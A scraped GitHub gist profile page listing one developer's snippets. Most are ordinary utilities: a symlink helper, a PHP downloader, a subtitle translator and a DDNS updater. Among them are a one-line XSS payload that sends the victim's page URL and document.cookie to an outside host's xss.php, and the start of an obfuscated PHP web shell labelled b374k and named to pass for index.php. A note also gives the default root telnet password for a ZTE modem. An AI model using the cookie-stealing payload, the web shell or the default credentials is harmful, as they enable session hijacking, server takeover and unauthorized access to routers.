Skip to content

Instantly share code, notes, and snippets.

💭
I'm programer and I have wife 😄

Mochamad Arifin ndunks

💭
I'm programer and I have wife 😄
View GitHub Profile
@ndunks
ndunks / paste-symlink.ps1
Created Sep 30, 2017
Windows 10 Add Copy-Paste as Symbolic Link or Junction
View paste-symlink.ps1
@ndunks
ndunks / Side Bar.sublime-menu
Created Oct 12, 2017
SublimeText 3 plugin right click on batch file or directory to run Command Prompt on Windows
View Side Bar.sublime-menu
[
{
"caption": "Run Batch",
"command": "runcmd",
"args": {
"paths": []
}
}
]
@ndunks
ndunks / downloader.php
Created Oct 27, 2017
PHP Curl Downloader with resume support
View downloader.php
<?php
set_time_limit(0);
ignore_user_abort(true);
$url = "http://web.shit/backup.zip";
$ch = curl_init($url);
$to_file = 'web.zip';
$opt = array();
if(is_file($to_file))
{
@ndunks
ndunks / GoogleTranslate.php
Created Oct 27, 2017
PHP SRT Subtitle Translate with Google
View GoogleTranslate.php
<?php
/*namespace Statickidz;
*/
/**
* GoogleTranslate.class.php
*
* Class to talk with Google Translator for free.
*
* @package PHP Google Translate Free;
* @category Translation
@ndunks
ndunks / ddns-update
Last active Jun 11, 2020
Namecheap DDNS Updater Bash Script
View ddns-update
# make it executable `chmod +x ddns-update`
# move it path `mv ddns-update /usr/bin/`
# setup cronjob for every 15 minutes `crontab -e`
# */15 * * * * ddns-update >/dev/null 2>&1
# dont forget to change your own domain & password
# uncomment if you want internet connection check before running
#while ! ping -c 1 -W 1 8.8.8.8; do
# echo "DDNS-UPDATE: Waiting internet connection.."
# sleep 2
View XSS.JS
$.post('http://allspecification.net/kctmp/xss.php',{url: document.location.href, cookie: document.cookie});
@ndunks
ndunks / lndex.php
Last active Nov 28, 2017
b374k.shell
View lndex.php
<?php $GLOBALS[
'pass'
]
=
'0f3b857e0125444e99a15f41c07eb315d26a00f0';
$FF
='cre'.
'ate'.
'_fun'.
'cti'.
@ndunks
ndunks / DB.php
Created Dec 8, 2017
PHP DB Class for MySQL
View DB.php
<?php
class DB
{
var $con = null;
var $result = null;
var $has_result = false;
var $error = false;
var $last_query;
var $affected_rows;
View wp-shell.sh
for dir in `find ~/apps/* -maxdepth 0 -type d`
do
grep -Rl --include "*.php" "eval(" "$dir/public/"
done
@ndunks
ndunks / ZTE-F609.md
Last active Jun 23, 2020
Manual help untuk Modem Indihome TELNET ZTE F609
View ZTE-F609.md

Telnet Manual Modem Indihome

Saya sering lupa, jadi tulis aja di gist.

Login Root via Telnet

telnet 192.168.1.1
login: root
pass : Zte521
You can’t perform that action at this time.